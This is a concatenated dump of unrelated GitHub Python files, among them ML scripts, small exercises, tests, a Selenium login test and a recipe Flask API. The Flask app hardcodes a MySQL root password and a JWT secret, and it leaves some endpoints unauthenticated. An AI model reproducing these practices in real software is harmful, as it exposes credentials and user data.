StandardScaler()\r\nX_scaled = scaler.fit_transform(X)\r\n\r\n# Create lag features for sequences\r\nsequence_length = 7 # Number of past days to consider for prediction\r\nX_sequences = []\r\ny_sequences_precip = []\r\ny_sequences_temp = []\r\n\r\nfor i in range(len(X_scaled) - sequence_length):\r\n X_sequences.append(X_scaled[i:i+sequence_length])\r\n y_sequences_precip.append(y_precipitation[i+sequence_length])\r\n y_sequences_temp.append(y_mean_temperature[i+sequence_length])\r\n\r\nX_sequences = np.array(X_sequences)\r\ny_sequences_precip = np.array(y_sequences_precip)\r\ny_sequences_temp = np.array(y_sequences_temp)\r\n\r\n\r\n\r\n# Train-test split\r\nX_train, X_test, y_precip_train, y_precip_test, y_temp_train, y_temp_test = train_test_split(\r\n X_sequences, y_sequences_precip, y_sequences_temp, test_size=0.1, random_state=42, shuffle=False\r\n)\r\n\r\n# Hyperparameter tuning using GridSearchCV for Random Forest Regression\r\nparam_grid_rf = {\r\n 'n_estimators': [50, 100, 150],\r\n 'max_depth': [None, 10, 20],\r\n 'min_samples_split': [2, 5, 10],\r\n 'min_samples_leaf': [1, 2, 4]\r\n}\r\n\r\ngrid_search_rf_precip = GridSearchCV(RandomForestRegressor(random_state=42), param_grid_rf, cv=5)\r\ngrid_search_rf_precip.fit(X_train, y_precip_train)\r\n\r\ngrid_search_rf_temp = GridSearchCV(RandomForestRegressor(random_state=42), param_grid_rf, cv=5)\r\ngrid_search_rf_temp.fit(X_train, y_temp_train)\r\n\r\nbest_rf_model_precip = grid_search_rf_precip.best_estimator_\r\nbest_rf_model_temp = grid_search_rf_temp.best_estimator_\r\n\r\n# Visualization of Random Forest Regression hyperparameter tuning results\r\nresults_rf_precip = grid_search_rf_precip.cv_results_\r\nresults_rf_temp = grid_search_rf_temp.cv_results_\r\n\r\nplt.figure(figsize=(12, 6))\r\n\r\nplt.subplot(1, 2, 1)\r\nplt.plot(results_rf_precip['mean_test_score'], marker='o')\r\nplt.title('Hyperparameter Tuning (Random Forest): Precipitation Prediction')\r\nplt.xlabel('Hyperparameter Set')\r\nplt.ylabel('Mean Test Score')\r\nplt.xticks(range(len(results_rf_precip['params'])), range(len(results_rf_precip['params'])))\r\nplt.grid(True)\r\n\r\nplt.subplot(1, 2, 2)\r\nplt.plot(results_rf_temp['mean_test_score'], marker='o')\r\nplt.title('Hyperparameter Tuning (Random Forest): Mean Temperature Prediction')\r\nplt.xlabel('Hyperparameter Set')\r\nplt.ylabel('Mean Test Score')\r\nplt.xticks(range(len(results_rf_temp['params'])), range(len(results_rf_temp['params'])))\r\nplt.grid(True)\r\n\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n# Predict for the upcoming week using Random Forest Regression models\r\nweek_weather_pred_rf_temp = best_rf_model_temp.predict(X_test)\r\nweek_precip_pred_rf = best_rf_model_precip.predict(X_test)\r\n\r\n# Evaluation metrics\r\ndef evaluate_metrics(y_true, y_pred):\r\n r2 = r2_score(y_true, y_pred)\r\n mse = mean_squared_error(y_true, y_pred)\r\n rmse = np.sqrt(mse)\r\n mae = mean_absolute_error(y_true, y_pred)\r\n return r2, mse, rmse, mae\r\n\r\ndef evaluate_f1(y_true, y_pred):\r\n y_pred_class = np.where(y_pred > 0.5, 1, 0) # Convert to binary classes\r\n f1 = f1_score(y_true, y_pred_class)\r\n return f1\r\n\r\n# Evaluate Random Forest Regression (Mean Temperature)\r\nr2_rf_temp, mse_rf_temp, rmse_rf_temp, mae_rf_temp = evaluate_metrics(y_temp_test, week_weather_pred_rf_temp)\r\nf1_rf_temp = evaluate_f1(y_temp_test, week_weather_pred_rf_temp)\r\n\r\n# Evaluate Random Forest Regression (Precipitation)\r\nr2_rf_precip, mse_rf_precip, rmse_rf_precip, mae_rf_precip = evaluate_metrics(y_precip_test, week_precip_pred_rf)\r\nf1_rf_precip = evaluate_f1(y_precip_test, week_precip_pred_rf)\r\n\r\n# Print evaluation metrics for Random Forest Regression\r\nprint(\"Random Forest Regression Metrics (Mean Temperature):\")\r\nprint(f'R-squared (R2): {r2_rf_temp:.2f}')\r\nprint(f'Mean Squared Error (MSE): {mse_rf_temp:.2f}')\r\nprint(f'Root Mean Squared Error (RMSE): {rmse_rf_temp:.2f}')\r\nprint(f'Mean Absolute Error (MAE): {mae_rf_temp:.2f}')\r\nprint(f'F1 Score: {f1_rf_temp:.2f}')\r\n\r\nprint(\"Random Forest Regression Metrics (Precipitation):\")\r\nprint(f'R-squared (R2): {r2_rf_precip:.2f}')\r\nprint(f'Mean Squared Error (MSE): {mse_rf_precip:.2f}')\r\nprint(f'Root Mean Squared Error (RMSE): {rmse_rf_precip:.2f}')\r\nprint(f'Mean Absolute Error (MAE): {mae_rf_precip:.2f}')\r\nprint(f'F1 Score: {f1_rf_precip:.2f}')","repo_name":"qt22010/Dissertation","sub_path":"Failed/Random Forest.py","file_name":"Random Forest.py","file_ext":"py","file_size_in_byte":5079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12000064687","text":"def checkLeapYear(a):\n a = int(a)\n if ((a%400==0) or (a%4==0 and a%100!=0)):\n print(f\"The year {a} is a leap year!\")\n else:\n print(f\"The year {a} is not a leap year!\")\n \ncheck = True\n\nwhile check:\n try:\n year = int(input(\"Input a year to check if it's a leap year: \"))\n checkLeapYear(year)\n except ValueError:\n print(\"Please enter a year!\")\n cont = str.lower(input(\"Would you like to enter a new year?(y/n) \"))\n if (cont != \"y\" and cont!='yes'):\n check = False\n print(\"Exiting\")\n","repo_name":"joshua-hallwd/PythonStuff","sub_path":"leapyYear.py","file_name":"leapyYear.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32110165814","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\n\n\"\"\"\n使用cookie 登录企业微信,完成导入联系人,加上断言验证\n\"\"\"\n\n\nclass TestCookie():\n def setup(self):\n option = Options()\n option.debugger_address = \"localhost:9222\"\n\n # 实例化driver\n self.driver = webdriver.Chrome()\n # 窗口最大化\n self.driver.maximize_window()\n # 设置隐式等待,避免网速慢等原因导致元素未被加载\n self.driver.implicitly_wait(5)\n\n def teardown(self):\n # 关闭新开的浏览器,回收driver\n self.driver.quit()\n\n def test_cookie(self):\n cookies = self.driver.get_cookies()\n print(cookies)\n self.driver.get(\"https://work.weixin.qq.com/wework_admin/frame#index\")\n # cookies=\n\n for cookie in cookies:\n self.driver.add_cookie(cookie)\n\n self.driver.get(\"https://work.weixin.qq.com/wework_admin/frame#index\")\n self.driver.find_element(By.CSS_SELECTOR, value=\".index_service_cnt_itemWrap:nth-child(2)\").click()\n # 上传文件使用元素.send_keys\n self.driver.find_element(By.ID, value=\"js_upload_file_input\").send_keys(\n \"/Users/apple/Desktop/data_selenium.xlsx\")\n # 通过元素.text 去验证上传后的文件名称是否一致\n result = self.driver.find_element(By.ID, value=\"upload_file_name\").text\n assert \"data_selenium.xlsx\" == result\n","repo_name":"dsy10100/dongshuyue","sub_path":"5-1selenium/test_contacts.py","file_name":"test_contacts.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26324903739","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 9 20:24 2020\n\n@author: fdbfvuie\n\"\"\"\n\nwhile True:\n try:\n n = int(input())\n for i in range(n):\n a = input().split(\" \")\n percent = (int(a[1]) - int(a[0])) / int(a[0]) * 100\n\n if percent >= 0:\n print(str('{:.2f}'.format(round(percent + 0.000001, 2))) + \"% \", end=\"\")\n else:\n\n print(str('{:.2f}'.format(round(percent - 0.000001, 2))) + \"% \", end=\"\")\n if percent >= 10 or percent <= -7:\n print(\"dispose\")\n else:\n print(\"keep\")\n\n except:\n break","repo_name":"fjfhfjfjgishbrk/AE401-Python","sub_path":"zerojudge/a647.py","file_name":"a647.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9416021036","text":"import pytest\n\nfrom pyroute2 import IPRoute\n\n\n@pytest.fixture\ndef ipr():\n with IPRoute() as iproute:\n yield iproute\n\n\n@pytest.mark.parametrize('variant', ('links', 'addr', 'neighbours', 'routes'))\ndef test_list(ipr, variant):\n for msg in getattr(ipr, f'get_{variant}')():\n assert msg['header']['target'] == 'localhost'\n assert msg['header']['type'] % 2 == 0\n","repo_name":"svinota/pyroute2","sub_path":"tests/test_windows/test_ipr.py","file_name":"test_ipr.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":888,"dataset":"github-code","pt":"61"} +{"seq_id":"5328146525","text":"import torch\n\n\ndef main():\n B, n, d = 4, 2, 3\n a = torch.arange(B * n * d).reshape(B, n, d)\n print(a, a.shape)\n trans = a.transpose(1, 2)\n print(trans, trans.shape)\n prod = a @ trans\n print(prod, prod.shape)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"chats-bug/llama-2","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"618282019","text":"from datetime import datetime, timedelta\nfrom flask import Flask, jsonify, request\nfrom flask_cors import CORS\n\nfrom flask import Flask, request, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import Text, create_engine, Column, Integer, String, ForeignKey\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker, relationship, backref\nfrom sqlalchemy.sql import *\nimport os\n# from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user\nfrom functools import wraps\nfrom werkzeug.security import generate_password_hash, check_password_hash\nimport jwt\nfrom predict import create_recipe\n# from sanjivkapoor_scraper import scrape_sanjeev\n\n\n\n\nBase = declarative_base()\n\napp = Flask(__name__)\n\ncors = CORS(app, resources={r\"/api/*\": {\"origins\": \"*\"}})\ncors = CORS(app, resources={r\"/*\": {\"origins\": \"*\"}})\ncors = CORS(app)\n\napp.config['JWT_SECRET_KEY'] = 'cookeazyansjsdahdja123123nasd1212'\n\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://root:Shantanu_.003@localhost/cookeazy_db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n\ndef connect_db():\n #_load_db_vars()\n # create db create_engine\n db = create_engine('mysql://root:Shantanu_.003@localhost/cookeazy_db')\n return db\n\n\n\ndb=connect_db() #establish connection\nSession = sessionmaker(bind=db)\nsession = Session()\n\n\n\nclass Ingredient(Base):\n __tablename__ = 'ingredients'\n\n id = Column(Integer, primary_key=True)\n name = Column(String(100), nullable=False)\n quantity = Column(Integer, nullable=False)\n unit = Column(String(50), nullable=False)\n user_id = Column(Integer, ForeignKey('users.id'), nullable=False)\n\n\n\nclass User(Base):\n __tablename__ = 'users'\n\n id = Column(Integer, primary_key=True)\n username = Column(String(100), unique=True, nullable=False)\n email = Column(String(120), unique=True, nullable=False)\n password = Column(String(120), nullable=False)\n\n ingredients = relationship('Ingredient', backref='user', lazy=True)\n\n def get_token(self, expires_delta=None):\n return create_access_token(identity=self.id, expires_delta=expires_delta)\n\nclass SavedRecipe(Base):\n __tablename__ = 'saved_recipes'\n\n id = Column(Integer, primary_key=True)\n name = Column(String(100), nullable=False)\n ingredients = Column(Text, nullable=False)\n instructions = Column(Text, nullable=False)\n user_id = Column(Integer, ForeignKey('users.id'), nullable=False)\n\n user = relationship('User', backref='saved_recipes', lazy=True)\n\n\nengine = connect_db()\nUser.__table__.create(bind=engine, checkfirst=True)\nIngredient.__table__.create(bind=engine, checkfirst=True)\nSavedRecipe.__table__.create(bind=engine, checkfirst=True)\n\n\n\n\ndef token_required(f):\n @wraps(f)\n def decorated(*args, **kwargs):\n token = None\n # print(request.headers)\n if 'Authorization' in request.headers:\n token = request.headers['Authorization'].split(\" \")[0]\n\n if not token:\n return jsonify({'message': 'Token is missing'}), 401\n\n try:\n data = jwt.decode(token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])\n current_user = session.query(User).filter_by(id=data['user_id']).first()\n except:\n return jsonify({'message': 'Token is invalid'}), 401\n\n return f(current_user, *args, **kwargs)\n\n return decorated\n\n@app.route('/register', methods=['POST'])\ndef register():\n \n username = request.json['username']\n email = request.json['email']\n password = request.json['password']\n\n # data = request.get_json()\n # print(data)\n user = session.query(User).filter_by(username = username).first()\n if user:\n return jsonify({'error': 'Username already exists.'}), 400\n \n hashed_password = generate_password_hash(password, method='sha256')\n\n new_user = User(username = username, email = email, password = hashed_password)\n\n session.add(new_user)\n session.commit()\n\n return jsonify({'message': 'User registered successfully'})\n\n\n@app.route('/login', methods=['POST'])\ndef login():\n username = request.json.get('username')\n password = request.json.get('password')\n\n # db fetch\n user = session.query(User).filter_by(username = username).first()\n\n if not user or not check_password_hash(user.password, password):\n return jsonify({'message': 'Invalid username or password'}), 401\n # Generate JWT token\n payload = {\n 'user_id': str(user.id),\n 'exp': datetime.utcnow() + timedelta(minutes=30)\n }\n token = jwt.encode(payload, app.config['JWT_SECRET_KEY'], algorithm='HS256')\n return jsonify({'token': token})\n\n\n\n\n@app.route('/api/users/ingredients', methods=['GET'])\n@token_required\ndef get_user_ingredients(user):\n # user = session.query(User).(user_id)\n ingredients = session.query(Ingredient).filter_by(user_id=user.id).all()\n result_lst = []\n for ingredient in ingredients: \n result_dict = {\n \"name\" : ingredient.name, \n \"unit\" : ingredient.unit, \n \"quantity\": ingredient.quantity}\n result_lst.append(result_dict)\n \n return jsonify(result_lst) \n\n\n\n@app.route('/api/users/ingredients', methods=['POST'])\n@token_required\ndef add_ingredient(user):\n name = request.json['name']\n quantity = request.json['quantity']\n unit = request.json['unit']\n\n user = session.query(User).filter_by(id=user.id).first()\n\n if not user:\n return jsonify({'message': 'User not found'}), 404\n\n ingredient = Ingredient(name=name.capitalize(), quantity=quantity, unit=unit, user_id=user.id)\n\n session.add(ingredient)\n session.commit()\n\n return jsonify({'message': 'Ingredient added successfully'}), 201\n\n\n@app.route('/api/users/ingredients/', methods=['PUT'])\n@token_required\ndef update_ingredient(user, name):\n # get the user and ingredient\n # user = User.query.get(user_id)\n ingredient = session.query(Ingredient).filter_by(name=name.capitalize(), user_id=user.id).first()\n\n # check if the ingredient exists and belongs to the user\n if not ingredient:\n return jsonify({'error': 'Ingredient not found'}), 404\n\n # update the ingredient data from the request\n ingredient_data = request.json\n ingredient.name = ingredient_data['name']\n ingredient.quantity = ingredient_data['quantity']\n ingredient.unit = ingredient_data['unit']\n\n # save the changes to the database\n session.commit()\n\n return jsonify({'message': 'Ingredient updated successfully'})\n\n@app.route('/api/users/ingredients/', methods=['DELETE'])\n@token_required\ndef delete_ingredient(user, ingredient_name):\n # First, check if the ingredient exists and belongs to the user\n ingredient = session.query(Ingredient).filter_by(name=ingredient_name, user_id=user.id).first()\n if not ingredient:\n return jsonify({'error': 'Ingredient not found or does not belong to this user'}), 404\n\n # Delete the ingredient\n session.delete(ingredient)\n session.commit()\n\n # Return a success response\n return jsonify({'message': 'Ingredient deleted successfully'}), 200\n\n@app.route('/api/users/used_ingredients', methods=['POST'])\n@token_required\ndef get_used_ingredients(user):\n\n name = request.json['name']\n quantity = request.json['quantity']\n unit = request.json['unit']\n\n\n THRESHOLD_VALUE = {\n \"number\" : 5,\n \"grams\" : 500,\n \"ml\" : 300,\n # Add more units and thresholds here\n }\n\n user = session.query(User).filter_by(id=user.id).first()\n\n ingredient = session.query(Ingredient).filter_by(name=name.capitalize(), user_id=user.id).first()\n\n print(ingredient.quantity, quantity)\n rem_quantity = int(ingredient.quantity) - int(quantity)\n\n if rem_quantity < THRESHOLD_VALUE[unit]:\n message = f\"Your remaining {name} quantity is below {THRESHOLD_VALUE[unit]} {unit}. Please restock soon!\"\n\n ingredient = session.query(Ingredient).filter_by(user_id=user.id, name=name.capitalize()).first()\n ingredient.quantity = rem_quantity\n\n session.commit()\n\n else:\n ingredient = session.query(Ingredient).filter_by(user_id=user.id, name=name).first()\n ingredient.quantity = rem_quantity\n\n session.commit()\n\n message = f\"Successfully updated {name} quantity.\"\n\n # Return message in JSON format\n return jsonify({'message': message})\n\n\n@app.route('/api/saved-recipes', methods=['GET'])\ndef get_saved_recipes():\n # Logic to fetch and return saved recipes from the database\n # Example code:\n saved_recipes = SavedRecipe.query.all()\n serialized_recipes = []\n for recipe in saved_recipes:\n serialized_recipes.append({\n 'id': recipe.id,\n 'name': recipe.name,\n 'instructions': recipe.instructions,\n 'ingredients': recipe.ingredients\n })\n return jsonify(serialized_recipes)\n\n@app.route('/api/saved-recipes', methods=['POST'])\ndef save_recipe():\n # Logic to save a recipe to the database\n # Access recipe data from the request JSON payload\n recipe_data = request.json\n name = recipe_data['name']\n instructions = recipe_data['instructions']\n ingredients = recipe_data['ingredients']\n\n # Create a new SavedRecipe instance and save it to the database\n new_recipe = SavedRecipe(name=name, instructions=instructions, ingredients=ingredients)\n session.add(new_recipe)\n session.commit()\n\n return jsonify({'message': 'Recipe saved successfully'})\n\n@app.route('/api/saved-recipes/', methods=['DELETE'])\ndef delete_saved_recipe(recipe_id):\n # Logic to delete a saved recipe from the database\n recipe = session.query(SavedRecipe).get(recipe_id)\n if not recipe:\n return jsonify({'error': 'Recipe not found'})\n\n session.delete(recipe)\n session.commit()\n\n return jsonify({'message': 'Recipe deleted successfully'})\n\n# @app.route('/api/add_user', methods=['POST'])\n# def add_user():\n# email = request.json['email']\n# password = request.json['password']\n \n# # Check if user with email already exists\n# user = session.query(User).filter_by(email=email).first()\n# if user:\n# return jsonify({'error': 'User with email already exists.'})\n\n# # Create new user\n# new_user = User(email=email, password=password)\n# # new_user.set_password(password)\n# session.add(new_user)\n# session.commit()\n\n# # Issue a JWT for the user \"added newly\"\n# access_token = new_user.get_token()\n \n# return jsonify({'message': 'User added successfully.', 'access_token': access_token})\n\n# @app.route('/api/users/', methods=['PUT'])\n# def update_user(user_id):\n# user = session.query(User).get(user_id)\n\n# if not user:\n# return jsonify({'message': 'User not found'}), 404\n\n# # get the request data\n# data = request.get_json()\n\n# # update user data\n# user.email = data['email']\n# user.password = data['password']\n\n# try:\n# session.commit()\n# return jsonify({'message': 'User updated successfully'}), 200\n# except:\n# session.rollback()\n# return jsonify({'message': 'Failed to update user'}), 500\n# finally:\n# session.close()\n\n# @app.route('/api/users/', methods=['DELETE'])\n# def delete_user(user_id):\n# user = session.query(User).get(user_id)\n# if not user:\n# return jsonify({'message': 'User not found.'}), 404\n\n# session.delete(user)\n# session.commit()\n# return jsonify({'message': 'User deleted successfully.'}), 200\n\n\n\n@app.route('/generate-recipes', methods=['POST'])\ndef generate_recipes():\n data = request.json.get('ingredients')\n data = \", \".join(data)\n return jsonify({\"Recipies\":create_recipe(data)}),200\n\n\nfrom sanjivkapoor_scraper import scrape_sanjeev, scrape_sanjeev_recipe\nfrom archanaskitchen_scrapper import scrape_archanas, scrape_archanas_recipe\n\n@app.route('/quick_links',methods=['POST'])\ndef get_scraping():\n ingredients = request.json.get('ingredients')\n ingredients = \",\".join(ingredients)\n # ret = scrape_sanjeev(ingredients)\n ret = scrape_archanas(ingredients)\n return jsonify({\"Status\":\"success\",\"result\":ret})\n\n\n@app.route('/get_scrapped_recipes',methods=['POST'])\ndef get_scraped_recipe():\n ingredients = request.json.get('ingredients')\n ingredients = \",\".join(ingredients)\n ret = scrape_sanjeev(ingredients)\n op = []\n op.append(scrape_sanjeev_recipe(ret[0]))\n op.append(scrape_sanjeev_recipe(ret[1]))\n op.append(scrape_sanjeev_recipe(ret[2]))\n \n\n return jsonify({\"Status\":\"success\",\"result\":op})\n\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"Shantanu003/CookEazy","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15177204923","text":"from random import randint\nfrom math import floor, sqrt\n\ndef truncated_mean(values, d_value):\n len_values = len(values[d_value:K+1])\n summation = sum([value for value in values[d_value:K+1]])\n\n return (1 / (len_values - d_value)) * summation\n\ndef truncated_variance(values, d_value):\n mean = truncated_mean(values, d_value)\n numerator = sum([(value - mean) ** 2 for value in values[d_value:K+1]])\n \n return numerator / (len(values[d_value:K+1]) - 1)\n\ndef get_mser_5y_values(values):\n d_values = []\n\n for d_value in range(K):\n variance = truncated_variance(values, d_value)\n denominator = sqrt(K - d_value)\n d_values.append((d_value, variance/denominator))\n\n return d_values\n\n\nif __name__ == '__main__':\n sample = [47, 26, 86, 70, 84, 100, 72, 15, 78, 31]\n global K\n K = len(sample)//5\n\n d_values = get_mser_5y_values(sample)\n d_value_min = sorted(d_values, key=lambda x: x[1])[0]\n\n print(d_values)\n print(f'value of d: {d_value_min[0]}')","repo_name":"fwase/avaliacao-desempenho","sub_path":"activity_4/activity_4.py","file_name":"activity_4.py","file_ext":"py","file_size_in_byte":1009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6088265075","text":"import unittest\nimport operator\nimport multiprocessing\n\nfrom ..scales import shared\n\n\n##### Public classes #####\nclass TestShared(unittest.TestCase): # pylint: disable=R0904\n def test_init(self):\n for (args, number) in (\n ((), 0),\n ((int,), 0),\n ((int, 5), 5),\n ((float,), 0.0),\n ((float, 5.0), 5.0),\n ):\n result = shared.Value(*args)()\n self.assertIsInstance(result, type(number))\n self.assertEqual(result, number)\n\n def test_set_int(self):\n self._test_set(int, (5, 10.0, 20))\n\n def test_set_float(self):\n self._test_set(float, (5.0, 10, 20.0))\n\n def test_iadd(self):\n value = shared.Value()\n self.assertEqual(value(), 0)\n value += 1\n self.assertEqual(value(), 1)\n value += 5\n self.assertEqual(value(), 6)\n\n def test_isub(self):\n value = shared.Value()\n self.assertEqual(value(), 0)\n value -= 1\n self.assertEqual(value(), -1)\n value -= 5\n self.assertEqual(value(), -6)\n\n def test_multiprocessing_set(self):\n self._test_multiprocessing(1, lambda value, operand: value.set(operand))\n\n def test_multiprocessing_iadd(self):\n self._test_multiprocessing(5, operator.iadd)\n\n def test_multiprocessing_isub(self):\n self._test_multiprocessing(-5, operator.isub)\n\n def _test_set(self, value_type, numbers):\n value = shared.Value(value_type)\n for number in numbers:\n value.set(number)\n self.assertIsInstance(value(), value_type)\n self.assertEqual(value(), number)\n\n def _test_multiprocessing(self, number, op):\n value = shared.Value()\n def worker(value):\n for _ in range(abs(number)):\n op(value, 1)\n process = multiprocessing.Process(target=worker, args=(value,)) # pylint: disable=E1101\n process.start()\n process.join()\n self.assertEqual(value(), number)\n\n","repo_name":"mdevaev/meters","sub_path":"meters/tests/test_scales_shared.py","file_name":"test_scales_shared.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31819242188","text":"cases = int(input())\n\ndef changer(row_number, col_number, exceptions, crossword):\n dots_eliminated = 0\n if (row_number, col_number) not in exceptions and crossword[row_number][col_number].isalpha():\n letter = crossword[row_number][col_number]\n\n copy = crossword[row_number]\n end_hash = cols\n hash_index = col_number\n if end_hash > col_number:\n try:\n end_hash = copy.index('#', hash_index + 1, -1)\n hash_index = end_hash\n except ValueError:\n pass\n copy_2 = crossword[row_number][:col_number]\n copy_2.reverse()\n try:\n start_hash = copy_2.index('#') + 1\n except ValueError:\n start_hash = len(copy_2) + 1\n\n # changing in the row\n if crossword[row_number][end_hash - start_hash] == '.':\n dots_eliminated += 1\n crossword[row_number][end_hash - start_hash] = letter\n dots_eliminated += changer(row_number, end_hash - start_hash, exceptions, crossword)\n\n # find its end_hash and first_hash and do the same.\n # new_row_number = row_number\n # new_col_number = end_hash - start_hash\n\n\n\n elements = []\n for i in range(rows):\n elements.append(crossword[i][col_number])\n end_hash = rows\n hash_index = row_number\n if end_hash > row_number:\n try:\n end_hash = elements.index('#', hash_index + 1, -1)\n hash_index = end_hash\n except ValueError:\n pass\n copy_2 = elements[:row_number]\n copy_2.reverse()\n try:\n start_hash = copy_2.index('#') + 1\n except ValueError:\n start_hash = len(copy_2) + 1\n\n # changing in the column\n if crossword[end_hash - start_hash][col_number] == '.':\n dots_eliminated += 1\n crossword[end_hash - start_hash][col_number] = letter\n\n dots_eliminated += changer(end_hash - start_hash, col_number, exceptions, crossword)\n\n exceptions.append((row_number, col_number))\n return dots_eliminated\n\nfor test in range(cases):\n r_n_c = input()\n r_n_c = r_n_c.split()\n rows = int(r_n_c[0])\n cols = int(r_n_c[1])\n\n inital_dots = 0\n crossword = []\n for row in range(rows):\n get_row = list(input())\n dots = get_row.count('.')\n # inital_dots += dots\n crossword.append(get_row)\n\n exceptions = []\n dots_eliminated = 0\n\n for row_number in range(rows):\n for col_number in range(cols):\n dot = changer(row_number, col_number, exceptions, crossword)\n dots_eliminated += dot\n\n\n printed_crossword = ''\n for row in crossword:\n for element in row:\n printed_crossword += element\n printed_crossword += '\\n'\n\n printed_crossword = printed_crossword[:-1]\n\n\n print(f'Case #{test + 1}: {dots_eliminated}\\n{printed_crossword}')\n\n\n\n\n","repo_name":"khushaal-nandwani/google-kickstart","sub_path":"pal_cross_orgnl.py","file_name":"pal_cross_orgnl.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29883015285","text":"import requests\n\n\ndef tradeview(user, idTrade):\n response = _trade(user['idUser'], idTrade)\n if response:\n print('A troca ocorreu com sucesso')\n else:\n print('Lamentamos, mas não foi possível finalizar a troca, verifique suas cartas')\n return response\n\n\ndef _trade(idUser, idTrade):\n r = requests.post(\n 'http://localhost:5000/trade/trade',\n data={'idUser': idUser, 'idTrade': idTrade}\n )\n response = r.json()\n isvalid = response['response']\n\n return isvalid\n\n","repo_name":"eduardovbe/OneFigure-Flask","sub_path":"view/trade.py","file_name":"trade.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75004182274","text":"from rest_framework import serializers\nfrom .models import Product\nfrom users.serializers import UserSerializer\nfrom bs4 import BeautifulSoup\nimport requests\nfrom decimal import Decimal\n\n\nclass ProductSerializer(serializers.ModelSerializer):\n user = serializers.HiddenField(default=serializers.CurrentUserDefault())\n\n class Meta:\n model = Product\n fields = '__all__'\n\n\nclass ScrapeSiteSerializer(serializers.Serializer):\n url = serializers.URLField(write_only=True)\n products = ProductSerializer(many=True, read_only=True)\n\n class Meta:\n fields = '__all__'\n\n def create(self, validated_data):\n products = []\n try:\n response = requests.get(validated_data['url'])\n except:\n raise serializers.ValidationError({\n 'error': 'Server Error'\n })\n if response.ok:\n soup = BeautifulSoup(response.text, 'lxml')\n products_div = soup.find_all('div', {'class': 'itm col'})\n for product in products_div:\n try:\n desc = {\n 'image': product.find('img').get('data-src'),\n 'name': product.find('div', {'class': 'name'}).text.strip(),\n 'price': Decimal(product.find('div', {'class': 'prc'}).text.strip().replace(',', '').split(' ')[-1])\n }\n products.append(desc)\n except:\n pass\n bulk_products = [Product(name=product['name'],\n price=product['price'],\n image=product['image'],\n user=self.context['request'].user)\n for product in products]\n products = Product.objects.bulk_create(bulk_products)\n return products\n else:\n raise serializers.ValidationError({\n 'url': 'An error occurred'\n })\n\n def to_representation(self, instance):\n return {\n 'products': ProductSerializer(instance, many=True).data\n }\n\n","repo_name":"horlamiedea/scrape","sub_path":"scrapeapp/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34437475739","text":"import tensorflow\r\nimport keras\r\nfrom keras.layers import *\r\nfrom keras.models import *\r\nfrom keras.preprocessing.image import *\r\nimport os\r\nimport matplotlib.pyplot as plt\r\nfrom keras import optimizers\r\n\r\nhistory = None\r\n\r\n\r\n#############image data generator###########\r\nclass Multi_label_image_CNN(object):\r\n img_rows, img_cols, img_ch = 256, 256, 3\r\n batch_size = 40\r\n nepochs = 10\r\n\r\n def __init__(self):\r\n print(\"Multi label image classification by CNN \")\r\n\r\n def read_data(self):\r\n dir_tr = 'C:\\\\Users\\\\Sajjad\\\\OneDrive\\\\Deep\\\\HWs\\\\HW3\\\\data1\\\\train\\\\'\r\n dir_val = 'C:\\\\Users\\\\Sajjad\\\\OneDrive\\\\Deep\\\\HWs\\\\HW3\\\\data1\\\\validation\\\\'\r\n\r\n train_datagen = ImageDataGenerator(\r\n rescale=1. / 255,\r\n shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True)\r\n\r\n test_datagen = ImageDataGenerator(rescale=1. / 255)\r\n\r\n self.train_generator = train_datagen.flow_from_directory(\r\n dir_tr,\r\n target_size=(self.img_rows, self.img_cols),\r\n batch_size=self.batch_size,\r\n class_mode='categorical')\r\n\r\n self.validation_generator = test_datagen.flow_from_directory(\r\n dir_val,\r\n target_size=(self.img_rows, self.img_cols),\r\n batch_size=self.batch_size,\r\n class_mode='categorical')\r\n print(self.validation_generator.samples)\r\n #######images and Labels###############\r\n self.images, self.labels = next(self.train_generator)\r\n\r\n def getclasslabel(val):\r\n if val == 2:\r\n return \"Person\"\r\n else:\r\n return \"No_Person\"\r\n\r\n def show_image(self):\r\n n = 8 # how many digits we will display\r\n plt.figure(figsize=(20, 4))\r\n for i in range(n):\r\n # display 